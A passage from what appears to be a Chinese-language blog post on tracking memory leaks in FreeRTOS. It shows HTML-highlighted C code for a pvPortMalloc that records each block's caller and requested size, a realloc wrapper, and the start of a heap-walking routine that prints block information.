</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span><span class="lnt">149
</span><span class="lnt">150
</span><span class="lnt">151
</span><span class="lnt">152
</span><span class="lnt">153
</span><span class="lnt">154
</span><span class="lnt">155
</span><span class="lnt">156
</span><span class="lnt">157
</span><span class="lnt">158
</span><span class="lnt">159
</span><span class="lnt">160
</span><span class="lnt">161
</span><span class="lnt">162
</span><span class="lnt">163
</span><span class="lnt">164
</span><span class="lnt">165
</span><span class="lnt">166
</span><span class="lnt">167
</span><span class="lnt">168
</span><span class="lnt">169
</span><span class="lnt">170
</span><span class="lnt">171
</span><span class="lnt">172
</span><span class="lnt">173
</span><span class="lnt">174
</span><span class="lnt">175
</span><span class="lnt">176
</span><span class="lnt">177
</span><span class="lnt">178
</span><span class="lnt">179
</span><span class="lnt">180
</span><span class="lnt">181
</span><span class="lnt">182
</span><span class="lnt">183
</span><span class="lnt">184
</span><span class="lnt">185
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span> <span class="nf">pvPortMalloc</span><span class="p">(</span> <span class="kt">size_t</span> <span class="n">xWantedSize</span> <span class="p">,</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">caller</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">BlockLink_t</span> <span class="o">*</span> <span class="n">pxBlock</span><span class="p">,</span> <span class="o">*</span> <span class="n">pxPreviousBlock</span><span class="p">,</span> <span class="o">*</span> <span class="n">pxNewBlockLink</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span> <span class="n">pvReturn</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">xAdditionalRequiredSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">_xWantedSize</span> <span class="o">=</span> <span class="n">xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">vTaskSuspendAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* If this is the first call to malloc then the heap will require
</span></span></span><span class="line"><span class="cl"><span class="cm">         * initialisation to setup the list of free blocks. */</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="n">pxEnd</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">prvHeapInit</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="cm">/* The wanted size must be increased so it can contain a BlockLink_t
</span></span></span><span class="line"><span class="cl"><span class="cm">             * structure in addition to the requested amount of bytes. Some
</span></span></span><span class="line"><span class="cl"><span class="cm">             * additional increment may also be needed for alignment. */</span>
</span></span><span class="line"><span class="cl">            <span class="n">xAdditionalRequiredSize</span> <span class="o">=</span> <span class="n">xHeapStructSize</span>  <span class="o">+</span> <span class="n">portBYTE_ALIGNMENT</span> <span class="o">-</span> <span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&amp;</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span> <span class="nf">heapADD_WILL_OVERFLOW</span><span class="p">(</span> <span class="n">xWantedSize</span><span class="p">,</span> <span class="n">xAdditionalRequiredSize</span> <span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">xWantedSize</span> <span class="o">+=</span> <span class="n">xAdditionalRequiredSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">xWantedSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Check the block size we are trying to allocate is not so large that the
</span></span></span><span class="line"><span class="cl"><span class="cm">         * top bit is set.  The top bit of the block size member of the BlockLink_t
</span></span></span><span class="line"><span class="cl"><span class="cm">         * structure is used to determine who owns the block - the application or
</span></span></span><span class="line"><span class="cl"><span class="cm">         * the kernel, so it must be free. */</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="nf">heapBLOCK_SIZE_IS_VALID</span><span class="p">(</span> <span class="n">xWantedSize</span> <span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span> <span class="n">xWantedSize</span> <span class="o">&lt;=</span> <span class="n">xFreeBytesRemaining</span> <span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="cm">/* Traverse the list from the start (lowest address) block until
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * one of adequate size is found. */</span>
</span></span><span class="line"><span class="cl">                <span class="n">pxPreviousBlock</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">xStart</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="n">pxBlock</span> <span class="o">=</span> <span class="n">xStart</span><span class="p">.</span><span class="n">pxNextFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="k">while</span><span class="p">(</span> <span class="p">(</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">&lt;</span> <span class="n">xWantedSize</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">!=</span> <span class="nb">NULL</span> <span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxPreviousBlock</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="cm">/* If the end marker was reached then a block of adequate size
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * was not found. */</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span> <span class="n">pxBlock</span> <span class="o">!=</span> <span class="n">pxEnd</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* Return the memory space pointed to - jumping over the
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * BlockLink_t structure at its start. */</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pvReturn</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pxPreviousBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="p">)</span> <span class="o">+</span> <span class="n">xHeapStructSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="cm">/* This block is being returned for use so must be taken out
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * of the list of free blocks. */</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxPreviousBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="cm">/* If the block is larger than required it can be split into
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * two. */</span>
</span></span><span class="line"><span class="cl">                    <span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">-</span> <span class="n">xWantedSize</span> <span class="p">)</span> <span class="o">&gt;</span> <span class="n">heapMINIMUM_BLOCK_SIZE</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="cm">/* This block is to be split into two.  Create a new
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * block following the number of bytes requested. The void
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * cast is used to prevent byte alignment warnings from the
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * compiler. */</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">void</span> <span class="o">*</span> <span class="p">)</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">pxBlock</span> <span class="p">)</span> <span class="o">+</span> <span class="n">xWantedSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">configASSERT</span><span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">pxNewBlockLink</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                        <span class="cm">/* Calculate the sizes of two blocks split from the
</span></span></span><span class="line"><span class="cl"><span class="cm">                         * single block. */</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">-</span> <span class="n">xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxNewBlockLink</span><span class="o">-&gt;</span><span class="n">caller</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                        <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span> <span class="o">=</span> <span class="n">xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                        <span class="cm">/* Insert the new block into the list of free blocks. */</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">prvInsertBlockIntoFreeList</span><span class="p">(</span> <span class="n">pxNewBlockLink</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="k">else</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="n">xFreeBytesRemaining</span> <span class="o">-=</span> <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xBlockSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                    <span class="k">if</span><span class="p">(</span> <span class="n">xFreeBytesRemaining</span> <span class="o">&lt;</span> <span class="n">xMinimumEverFreeBytesRemaining</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="n">xMinimumEverFreeBytesRemaining</span> <span class="o">=</span> <span class="n">xFreeBytesRemaining</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="k">else</span>
</span></span><span class="line"><span class="cl">                    <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">              
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">xWantedSize</span> <span class="o">=</span> <span class="n">_xWantedSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">caller</span> <span class="o">=</span> <span class="n">caller</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* The block is being returned - it is allocated and owned
</span></span></span><span class="line"><span class="cl"><span class="cm">                     * by the application and has no &#34;next&#34; block. */</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">heapALLOCATE_BLOCK</span><span class="p">(</span> <span class="n">pxBlock</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxBlock</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="n">xNumberOfSuccessfulAllocations</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="k">else</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">traceMALLOC</span><span class="p">(</span> <span class="n">pvReturn</span><span class="p">,</span> <span class="n">xWantedSize</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">xTaskResumeAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_MALLOC_FAILED_HOOK == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span> <span class="n">pvReturn</span> <span class="o">==</span> <span class="nb">NULL</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">vApplicationMallocFailedHook</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif </span><span class="cm">/* if ( configUSE_MALLOC_FAILED_HOOK == 1 ) */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="nf">configASSERT</span><span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">pvReturn</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">pvReturn</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="o">*</span><span class="nf">pvPortRealloc</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">p</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="kt">size_t</span> <span class="n">xSize</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">caller</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span> <span class="o">*</span><span class="n">pv</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">puc</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">BlockLink_t</span> <span class="o">*</span><span class="n">pxLink</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">p</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">puc</span> <span class="o">-=</span> <span class="n">xHeapStructSize</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">pxLink</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="n">puc</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">configASSERT</span><span class="p">(</span><span class="nf">heapBLOCK_IS_ALLOCATED</span><span class="p">(</span><span class="n">pxLink</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">configASSERT</span><span class="p">(</span><span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">pxNextFreeBlock</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pv</span> <span class="o">=</span> <span class="nf">pvPortMalloc</span><span class="p">(</span><span class="n">xSize</span><span class="p">,</span> <span class="n">caller</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">pv</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nf">memcpy</span><span class="p">(</span><span class="n">pv</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">pxLink</span><span class="o">-&gt;</span><span class="n">xWantedSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">vPortFree</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">pv</span><span class="p">;</span>   
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>遍历 heap 所有的内存块，打印出其调用者、申请内存大小、是已分配的内存块还是空闲的内存块，利用这些信息排查内存泄漏。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">show_heap_info</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">BlockLink_t</span> <span class="o">*</span> <span class="n">pxLink</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="o">*</span> <span class="n">pucAlignedHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">uxAddress</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">size_t</span> <span class="n">xTotalHeapSize</span> <span class="o">=</span> <span class="n">configTOTAL_HEAP_SIZE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nf">vTaskSuspendAll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="n">uxAddress</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">ucHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span> <span class="p">(</span> <span class="n">uxAddress</span> <span class="o">&amp;</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">uxAddress</span> <span class="o">+=</span> <span class="p">(</span> <span class="n">portBYTE_ALIGNMENT</span> <span class="o">-</span> <span class="mi">1</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">uxAddress</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">(</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">portBYTE_ALIGNMENT_MASK</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">xTotalHeapSize</span> <span class="o">-=</span> <span class="n">uxAddress</span> <span class="o">-</span> <span class="p">(</span> <span class="kt">size_t</span> <span class="p">)</span> <span class="n">ucHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pucAlignedHeap</span> <span class="o">=</span> <span class="p">(</span> <span class="kt">uint8_t</span> <span class="o">*</span> <span class="p">)</span> <span class="n">uxAddress</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">pxLink</span> <span class="o">=</span> <span class="p">(</span><span class="n">BlockLink_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pucAlignedHeap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
